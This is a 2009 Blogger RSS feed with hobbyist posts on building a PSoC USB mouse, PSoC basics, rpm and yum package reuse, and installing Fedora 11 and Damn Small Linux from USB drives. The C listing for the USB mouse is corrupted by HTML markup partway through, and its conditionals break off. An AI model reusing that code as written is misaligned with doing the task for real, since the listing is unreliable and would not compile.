<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:georss="http://www.georss.org/georss" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-5146068729005753248</atom:id><lastBuildDate>Thu, 15 Oct 2009 09:32:20 +0000</lastBuildDate><title>Electronic Error</title><description>Innovation is not the product of  logical thought ,even though the final product is tied to a logical structure::-Albert Einstein           -Its easier to identify a ZERO but its difficult to identify a +ve or -ve</description><link>http://electronicerror.blogspot.com/</link><managingEditor>raviegg@gmail.com (Raveendra Pai G)</managingEditor><generator>Blogger</generator><openSearch:totalResults>60</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/blogspot/electronicerror" type="application/rss+xml" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-2325654124156518281</guid><pubDate>Tue, 13 Oct 2009 16:04:00 +0000</pubDate><atom:updated>2009-10-15T02:32:20.333-07:00</atom:updated><title>How to create a simple 3 button USB mouse using PSoC USB device CY8C24794</title><description>Writing code for a usb mouse is such a complicated thing that anybody learning the report structure will go mad. Here comes Cypress's PSoC .PSoC device CY8C24794 is a USB programmable device with a USB interface.Also it can be powered using the USB cable.We can make a simple 3 button mouse using this device within 10 mins,if the CY3214 kit is available.The PSoC makes it all possible.!!!!!The most important thing is to understand the working of basic things and then the technical stuff will become simple.Here a person who doesn't know how to configure the PSoC using the PSoC designer software is advised to go through the Cypress site to get the detailed tutorial. Anybody can download the tutorial by registering into the Cypress site.Also there is a site called PSoC developer where we can find some PSoC related useful posts.This is the code for the 3 button USB mouse&lt;br /&gt;//----------------------------------------------------------------------------&lt;br /&gt;// C main line&lt;br /&gt;&lt;br /&gt;//----------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;#include // part specific constants and macros&lt;br /&gt;#include "PSoCAPI.h" // PSoC API definitions for all User Modules&lt;br /&gt;#include "DualADC8.h"&lt;br /&gt;&lt;br /&gt;BYTE abMouseData[4] = {0,0,0,0};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;/*adc initialisation*/&lt;br /&gt;char cResult1, cResult2;&lt;br /&gt;char cResult1_prev, cResult2_prev;&lt;br /&gt;M8C_EnableGInt; // Enable global interrupts&lt;br /&gt;DUALADC8_Start(DUALADC8_HIGHPOWER); // Turn on Analog section&lt;br /&gt;DUALADC8_SetCalcTime(100); // Set CalcTime to 100&lt;br /&gt;DUALADC8_GetSamples(); // Start ADC&lt;br /&gt;cResult1=0;cResult2=0;&lt;br /&gt;cResult1_prev=0;cResult2_prev=0;&lt;br /&gt;/*usb initialisation*/&lt;br /&gt;&lt;br /&gt;M8C_EnableGInt; //Enable Global Interrupts&lt;br /&gt;USBFS_Start(0, USB_5V_OPERATION); //Start USBFS Operation using device 0&lt;br /&gt;//and with 5V operation&lt;br /&gt;while(!USBFS_bGetConfiguration()); //Wait for Device to enumerate&lt;br /&gt;//Enumeration is completed load endpoint 1. Do not toggle the first time&lt;br /&gt;USBFS_LoadInEP(1, abMouseData, 3, USB_NO_TOGGLE);&lt;br /&gt;&lt;br /&gt;/*lcd initialisation*/&lt;br /&gt;LCD_1_Start();&lt;br /&gt;LCD_1_Position(0,5);&lt;br /&gt;while(1)&lt;br /&gt;{&lt;br /&gt;while(!USBFS_bGetEPAckState(1)); //Wait for ACK before loading data&lt;br /&gt;//ACK has occurred, load the endpoint and toggle the data bit&lt;br /&gt;USBFS_LoadInEP(1, abMouseData, 3, USB_TOGGLE);&lt;br /&gt;while(DUALADC8_fIsDataAvailable == 0);&lt;br /&gt;cResult1_prev=cResult1;&lt;br /&gt;cResult2_prev=cResult2;&lt;br /&gt;cResult1 = DUALADC8_cGetData1();&lt;br /&gt;cResult2 = DUALADC8_cGetData2ClearFlag();&lt;br /&gt;{&lt;br /&gt;if ((cResult1_prev-cResult1)&gt; 20 ||(cResult1-cResult1_prev) &gt; 20)&lt;br /&gt;abMouseData[1] = 0x01;&lt;br /&gt;else if ((cResult1_prev-cResult1)&lt;&gt; 20 ||(cResult2-cResult2_prev) &gt; 20)&lt;br /&gt;abMouseData[2] = 0x01;&lt;br /&gt;else if ((cResult2_prev-cResult2)&lt; style="text-align: justify;"&gt;Here in this code the mouse x and y motions are mimicked by using 2 potentiometers.The PSoC core reads the ADC (8bit)continuously and sends the conditioned value to the PSoC core for processing and sending the required data to the system. The required value is sent through the USB interface.The PRT0DR is the port 0 data register.where the data read from the input ports of the PSoC is stored. The abMouseData is an array which is actually called the report descriptor by software guys who code for this complex USB HID device.The format for the USB HID mouse is given below&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_XTElFWnvKxw/StSt-sB7zTI/AAAAAAAAAZ4/ENYCO7Koug0/s1600-h/mouse+report+format.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 95px;" src="http://4.bp.blogspot.com/_XTElFWnvKxw/StSt-sB7zTI/AAAAAAAAAZ4/ENYCO7Koug0/s400/mouse+report+format.JPG" alt="" id="BLOGGER_PHOTO_ID_5392125946352094514" border="0" /&gt;&lt;/a&gt;&lt;/m8c.h&gt;&lt;input id="gwProxy" type="hidden"&gt;&lt;!--Session data--&gt;&lt;input onclick="jsCall();" id="jsProxy" type="hidden"&gt;&lt;div id="refHTML"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-2325654124156518281?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/8x-wpE0_T2zhZJnORToSpfcWNwE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8x-wpE0_T2zhZJnORToSpfcWNwE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/8x-wpE0_T2zhZJnORToSpfcWNwE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8x-wpE0_T2zhZJnORToSpfcWNwE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/AnoX_B1rONA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/AnoX_B1rONA/how-to-create-simple-3-button-usb-mouse.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_XTElFWnvKxw/StSt-sB7zTI/AAAAAAAAAZ4/ENYCO7Koug0/s72-c/mouse+report+format.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2009/10/how-to-create-simple-3-button-usb-mouse.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-3713786865763381926</guid><pubDate>Tue, 01 Sep 2009 05:28:00 +0000</pubDate><atom:updated>2009-09-01T10:36:31.364-07:00</atom:updated><title>PSoC  a new way to design</title><description>&lt;span style="font-family:times new roman;"&gt;Cypress's PSoC® Programmable System-on-Chip is the most complete solution for embedded systems, combining an 8-bit microcontroller, flash memory, and SRAM with customizable analog and digital blocks.&lt;/span&gt;&lt;br /&gt;&lt;a style="font-family: times new roman;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_XTElFWnvKxw/Sp1LPd7nVzI/AAAAAAAAAZw/HoKl5zQP4H8/s1600-h/psocblock.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 331px;" src="http://4.bp.blogspot.com/_XTElFWnvKxw/Sp1LPd7nVzI/AAAAAAAAAZw/HoKl5zQP4H8/s400/psocblock.jpg" alt="" id="BLOGGER_PHOTO_ID_5376536259255031602" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="font-family: times new roman; text-align: justify;"&gt;PSoC is a software configured, mixed-signal array with a built-in Microcontroller unit core. The core is a Cypress proprietary, 8bit harward design called the M8C. PSoC has three separate memory spaces: paged SRAM for data, flash memory for instructions and fixed data, and I/O Registers for controlling and accessing the configurable logic blocks and functions.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;Here is a comparison table showing the major differences between PSoC ASIC and FPGA&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: 0px; margin-right: 0px; font-family: times new roman;" border="1" cellspacing="2"&gt;&lt;tbody&gt;&lt;tr valign="top" align="center"&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt; &lt;td&gt;   PSoC                                                   &lt;/td&gt; &lt;td&gt;ASIC&lt;br /&gt;&lt;/td&gt; &lt;td&gt;FPGA&lt;/td&gt; &lt;/tr&gt; &lt;tr valign="top" align="left"&gt; &lt;td&gt;Time to        Market&lt;/td&gt; &lt;td&gt;hours&lt;br /&gt;&lt;/td&gt; &lt;td&gt;years&lt;br /&gt;&lt;/td&gt; &lt;td&gt;  hours&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr valign="top" align="left"&gt; &lt;td&gt;Design Complexity&lt;/td&gt; &lt;td&gt;Very less&lt;br /&gt;&lt;/td&gt; &lt;td&gt;More&lt;br /&gt;&lt;/td&gt; &lt;td&gt; less compared to ASIC&lt;/td&gt; &lt;/tr&gt; &lt;tr valign="top" align="left"&gt; &lt;td&gt;Configuration&lt;/td&gt; &lt;td&gt;can be changed during run time&lt;/td&gt; &lt;td&gt;cannot be changed&lt;/td&gt; &lt;td&gt;can be changed to some extend&lt;/td&gt; &lt;/tr&gt; &lt;tr valign="top" align="left"&gt; &lt;td&gt;Freq of operation&lt;/td&gt; &lt;td&gt;Very less &lt;/td&gt; &lt;td&gt;More&lt;/td&gt; &lt;td&gt;Less comp to ASIC&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="font-family: times new roman; text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;The configuration is obtained by loading instructions from the built-in Flash memory in a PSoC whereas in an FPGA the configuration is loaded at the begining from an EEPROM into SRAM distributed memory as well as block memory.Also the FPGA uses some configurable logic blocks(CLBs).&lt;br /&gt;&lt;br /&gt;PSoC most closely resembles a MCU in usage, where code is executed to interact with the user-specified peripheral functions (called "User Modules"), using automatically generated APIs and interrupt routines. The PSoC Designer IDE generates the startup configuration code and peripheral APIs automatically based upon the users selections in a visual-studio-like GUI.Cypress offers a visual, code-free embedded design tool for PSoC called PSoC Express. Using PSoC Express, most features of the PSoC can be accessed with drag and drop icons and logical expressions. The vishual design is compiled to executable code without exposing the user to the underlying converted code, though a visual design can be converted and used as a basis of a traditional code-based design in PSoC Designer. Visual design elements cover features such as temperature sensors, fan control, accelerometers, I2C master and slave protocols, USB virtual serial ports, capacitive sensors, and wireless 2.4 GHz radio communications.PSoC programmer is another software that is available in cypress.com that can be used to program the bitstream into the PSoC devices.&lt;br /&gt;&lt;a href="http://www.cypress.com/?rID=34517&amp;amp;source=header"&gt;PSoC Designer &lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cypress.com/?rID=2581&amp;amp;source=header"&gt;PSoC programmer&lt;/a&gt;&lt;br /&gt;You have to register for getting the softwares and u can create cases for queries in cypress.com.&lt;br /&gt;&lt;br /&gt;In a PSoC device the user defines &lt;span style="font-weight: bold;"&gt;What&lt;/span&gt; functions appears,&lt;span style="font-weight: bold;"&gt;When&lt;/span&gt; they appear and &lt;span style="font-weight: bold;"&gt;how&lt;/span&gt; !!!!!&lt;span style="font-size:130%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style=";font-family:times new roman;font-size:130%;"  &gt;&lt;span style="font-weight: bold;"&gt;Four Levels of Documentation&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:times new roman;"&gt;1)Technical ref manuals&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;2)User module datasheets (available with PSoC designer software)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;3)Device datasheets&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;4)Project Config datasheets generated by the tool at the end of the design&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:times new roman;font-size:130%;"  &gt;Dynamic Reconfiguration&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Dynamic reconfiguration is a similar kind of a thing like polymorphism in C++. One device performing different functions at different times. Multiple function sets operate on same hardware at different times in the same application. In this case we dynamically load the configuration at run time.&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:times new roman;font-size:130%;"  &gt;&lt;span style="font-weight: bold;"&gt;PSoC Applications&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Voltage Monitoring,Airflow Sensing, Humidity Sensing, I2C, SPI, UART, CPU Reset, Temp Sensing, Pressure Sensing, Current Sensing, Accelerometers, Fan Control, USB devices etc are the typical applications where the PSoC can be used.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-3713786865763381926?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/f4raTSTHTauCuqrejaaNDXLFtn0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/f4raTSTHTauCuqrejaaNDXLFtn0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/f4raTSTHTauCuqrejaaNDXLFtn0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/f4raTSTHTauCuqrejaaNDXLFtn0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/nq_AOVLyL0E" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/nq_AOVLyL0E/psoc-new-way-to-design.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_XTElFWnvKxw/Sp1LPd7nVzI/AAAAAAAAAZw/HoKl5zQP4H8/s72-c/psocblock.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2009/08/psoc-new-way-to-design.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-6120085388047442687</guid><pubDate>Sun, 23 Aug 2009 16:34:00 +0000</pubDate><atom:updated>2009-08-24T10:36:31.709-07:00</atom:updated><title>What is rpm?Why rpm?How rpm ?and When rpm ?</title><description>&lt;span style="font-weight: bold;font-size:130%;" &gt;What is rpm ?&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;It is a package file format or a software packaged in that format such as [softwarename.version.release.architechture].rpm. Originally developed by the Red Hat and it is used by most of the Red Hat based platforms like fedora.&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Why rpm ?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;-rpm repos contains thousands of free softwares [repos are places in web where the packages are stored and made available to public ]&lt;br /&gt;-easy to install [rpm -i filename.rpm]&lt;br /&gt;-easy to transport [easy to copy the single file instead of the scattered source ]&lt;br /&gt;-easy to check integrity [we can easily check the integrity using the md5 ]&lt;br /&gt;-a new version of the rpm file format drpm(Delta rpm) saves a lot of bandwidth while updating the system.&lt;br /&gt;The major disadvantage is that the package cannot perform automatic dependency check.For that we have to use the package managers such as yum.&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;How rpm ?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Rpm files can be installed in a supporting platform by simply typing 2 commands in the shell.&lt;br /&gt;take a shell&lt;br /&gt;become the super user&lt;br /&gt;$ su&lt;br /&gt;goto the directory containing the rpm file&lt;br /&gt;#  rpm -ivh filename.rpm&lt;br /&gt;for fresh installation of a package&lt;br /&gt;# rpm -Uvh filename.rpm&lt;br /&gt;for Updating a package&lt;br /&gt;Done !!!!!&lt;br /&gt;So this is how it looks simple other than compiling the whole code once.&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;When rpm ?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;U may wonder why we need these thing if we have a yum package manager or yumex (gui for yum). Those are only useful when we have an high speed internet connection. Imagine a situation where we need 100 systems to be installed with a same set of packages and we have a damn slow net connection. One thing we can do is that , we can make the connection a high speed one. But imagine a situation where u can install the whole set of packages with in adownload time of one package. Will that make a difference ?&lt;br /&gt;Yea it will&lt;br /&gt;The solution is that download the packages using a yum package manager, which will automatically download the depedencies. What this yum does is that after installation this manager deletes the whole packages downloaded from the repos. So u cannot use it to install the software in another system. Copy the rpm files before it deletes ,thats the solution.&lt;br /&gt;The downloaded rpm files are stored in the folder /var/cache/yum/&lt;br /&gt;there will be two directories, in case of fedora it will be fedora and update&lt;br /&gt;either copy these folders after the downloading of packes by the yum is complete.&lt;br /&gt;Or kill the yum process by Ctrl -C or kill using kill -9 pid of yum ,then copy the files&lt;br /&gt;Next step is that we can use the yum to install the packages or we can use the rpm command to install the files&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Installation using the yum in another machine.&lt;/span&gt;&lt;br /&gt;Copy the files to the same /var/cache/yum/ directory using the cp -rfu command which will update copy the files&lt;br /&gt;then give the command yum -y install package names given in the system where u have downloaded the packages&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Installation using the rpm command in another machine&lt;/span&gt;&lt;br /&gt;Copy the files to any directory . Go to that directory in shell then&lt;br /&gt;goto the updates/packages  directory&lt;br /&gt;give command&lt;br /&gt;# rpm -Uvh *&lt;br /&gt;then goto the fedora/packages  directory&lt;br /&gt;give the command&lt;br /&gt;#rpm -ivh *&lt;br /&gt;&lt;br /&gt;Done !!!!!!!!!!!!!&lt;br /&gt;In case it is showing any dependency problem u have to download the corresponding package.&lt;br /&gt;If dependencies are more go with the first method.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-6120085388047442687?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/trz8cvfiffIIe_BIP9PWtVr-uLw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/trz8cvfiffIIe_BIP9PWtVr-uLw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/trz8cvfiffIIe_BIP9PWtVr-uLw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/trz8cvfiffIIe_BIP9PWtVr-uLw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/4EdFbpUouH4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/4EdFbpUouH4/what-is-rpmwhy-rpmhow-rpm-and-when-rpm.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2009/08/what-is-rpmwhy-rpmhow-rpm-and-when-rpm.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-6323917810326715793</guid><pubDate>Sat, 25 Jul 2009 02:29:00 +0000</pubDate><atom:updated>2009-07-25T21:51:44.449-07:00</atom:updated><title>How to Install Fedora 11 from a USB bootable flash drive</title><description>&lt;ul&gt;&lt;li&gt;Plug in the USB device into a Fedora 11 machine, format it using the gparted or anything else using gparted you have to become root ie ,&gt;&gt;$su  &gt;&gt;password:                       After entering the password type &gt;&gt;# gparted&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Unmount the USB device to format it. Then format that using the FAT32 file system.Also make the boot flag marked by right clicking and taking "manage flags" in gparted.&lt;/li&gt;&lt;li&gt;Now make sure that the USB is not mounted.Type the command&lt;br /&gt;&gt;&gt;#livecd-iso-to-disk /[pathto the iso image]/ /dev/sdb1&lt;/li&gt;&lt;li&gt;After the bootup disk creation mount the USB device and create a directory images in it                                                                               &gt;&gt;#mkdir /media/USB                                                                                          &gt;&gt;#mount /dev/sdb1 /media/USB/&lt;br /&gt; &gt;&gt;# mkdir /media/USB/images &gt;&gt;#mkdir /mnt/iso                                    &gt;&gt; mount -o loop /[path to the iso images] /mnt/iso          &gt;&gt;# cp -rfv /mnt/iso/images/install.img /media/images/ &lt;br /&gt;&lt;/li&gt;&lt;li&gt;At last copy the iso file to the USB root ie, &gt;&gt;#cp -rfv /[path to iso file] /media/USB/&lt;/li&gt;&lt;li&gt;Reboot the system and make the boot order to boot from USB disk&lt;/li&gt;&lt;li&gt;!!!!!Done!!!!!                 &lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-6323917810326715793?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/wl2yjo_N2vXR71xsRxVBtHG7doQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wl2yjo_N2vXR71xsRxVBtHG7doQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/wl2yjo_N2vXR71xsRxVBtHG7doQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wl2yjo_N2vXR71xsRxVBtHG7doQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/rqUaAmTW0TY" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/rqUaAmTW0TY/how-to-install-fedora-11-from-usb.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2009/07/how-to-install-fedora-11-from-usb.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-748925477369206342</guid><pubDate>Tue, 30 Jun 2009 00:09:00 +0000</pubDate><atom:updated>2009-06-29T18:19:46.680-07:00</atom:updated><title>How to install portable Damn Small Linux in USB drive?</title><description>Damn Small Linux, as its name says, is an extremely small linux distribution.It will take around  51MB disk space.We can port the DSL just like that in a pen drive.Also we can store the worked files in the usb pen drive itself. It is just like we have a fuly installed computer in hand in a usb flash device. We can take that to anywhere we want and just need to enable the bios option boot from USB device. Also set the usb device as the first boot device in boot device priority.&lt;br /&gt;&lt;h2&gt; &lt;span style="font-size:130%;"&gt;Minimum Requirements for DSL with X-window &lt;/span&gt;&lt;/h2&gt; &lt;ul&gt;&lt;li&gt; 486dx or 100% compatible processor &lt;/li&gt;&lt;li&gt;16mb ram (24mb recommended) &lt;/li&gt;&lt;li&gt; dual-speed CDROM (quad-speed or better recommended) &lt;/li&gt;&lt;li&gt; 1.44mb floppy drive (for boot floppy, if needed) &lt;/li&gt;&lt;li&gt; VGA monitor and video card  &lt;/li&gt;&lt;li&gt; a mouse (serial, ps/2, usb) &lt;/li&gt;&lt;/ul&gt;DSL latest release is available in the following mirrors&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Current Full Mirror List:&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;!-- Full Mirror --&gt;&lt;a style="color: rgb(0, 0, 0);" href="ftp://ibiblio.org/pub/Linux/distributions/damnsmall/"&gt;ftp://ibiblio.org/pub/Linux/distributions/damnsmall/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;!-- Full Mirror --&gt;&lt;a style="color: rgb(0, 0, 0);" href="http://ibiblio.org/pub/Linux/distributions/damnsmall/"&gt;http://ibiblio.org/pub/Linux/distributions/damnsmall/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;!-- Full Mirror --&gt;&lt;a style="color: rgb(0, 0, 0);" href="ftp://ftp.is.co.za/linux/distributions/damnsmall/"&gt;ftp://ftp.is.co.za/linux/distributions/damnsmall/&lt;/a&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (South Africa)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;!-- Full Mirror --&gt;&lt;a style="color: rgb(0, 0, 0);" href="http://gd.tuwien.ac.at/opsys/linux/damnsmall/"&gt;http://gd.tuwien.ac.at/opsys/linux/damnsmall/&lt;/a&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (Austria) also rsync and FTP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;!-- Full Mirror --&gt;&lt;a style="color: rgb(0, 0, 0);" href="http://gulus.usherbrooke.ca/pub/distro/DamnSmallLinux/"&gt;http://gulus.USherbrooke.ca/pub/distro/DamnSmallLinux/&lt;/a&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Location: (Quebec,&lt;br /&gt;Canada)&lt;/span&gt;&lt;br /&gt;&lt;!-- Full Mirror --&gt;&lt;a style="color: rgb(0, 0, 0);" href="http://ftp.belnet.be/packages/damnsmalllinux/"&gt;http://ftp.belnet.be/packages/damnsmalllinux/&lt;/a&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (Belgian)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;!-- Full Mirror --&gt;&lt;a style="color: rgb(0, 0, 0);" href="ftp://ftp.belnet.be/packages/damnsmalllinux/"&gt;ftp://ftp.belnet.be/packages/damnsmalllinux/&lt;/a&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (Belgian)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;!-- Full Mirror --&gt;&lt;a style="color: rgb(0, 0, 0);" href="http://ftp.heanet.ie/mirrors/damnsmalllinux.org/"&gt;http://ftp.heanet.ie/mirrors/damnsmalllinux.org/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;!-- Full Mirror --&gt;&lt;a style="color: rgb(0, 0, 0);" href="ftp://ftp.heanet.ie/mirrors/damnsmalllinux.org/"&gt;ftp://ftp.heanet.ie/mirrors/damnsmalllinux.org/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="color: rgb(0, 0, 0);"&gt;Rysnc Mirror:&lt;/b&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;rsync ftp.belnet.be::packages/damnsmalllinux/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; sync://ftp.heanet.ie/mirrors/damnsmalllinux.org/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="color: rgb(0, 0, 0);"&gt;Bittorrent Mirror:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="color: rgb(0, 0, 0);" href="http://linuxtracker.org/browse.php?cat=104"&gt;Linux Tracker, Torrent &amp;amp; Xdelta&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="color: rgb(0, 0, 0);" href="http://www.tlm-project.org/torrents/damnsmall/"&gt;http://www.tlm-project.org/torrents/damnsmall/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="color: rgb(0, 0, 0);"&gt;Metalink:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="color: rgb(0, 0, 0);" href="http://www.damnsmalllinux.org/dsl.metalink"&gt;Metalink&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Portable DSL usb flash pen drive install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1)&lt;a 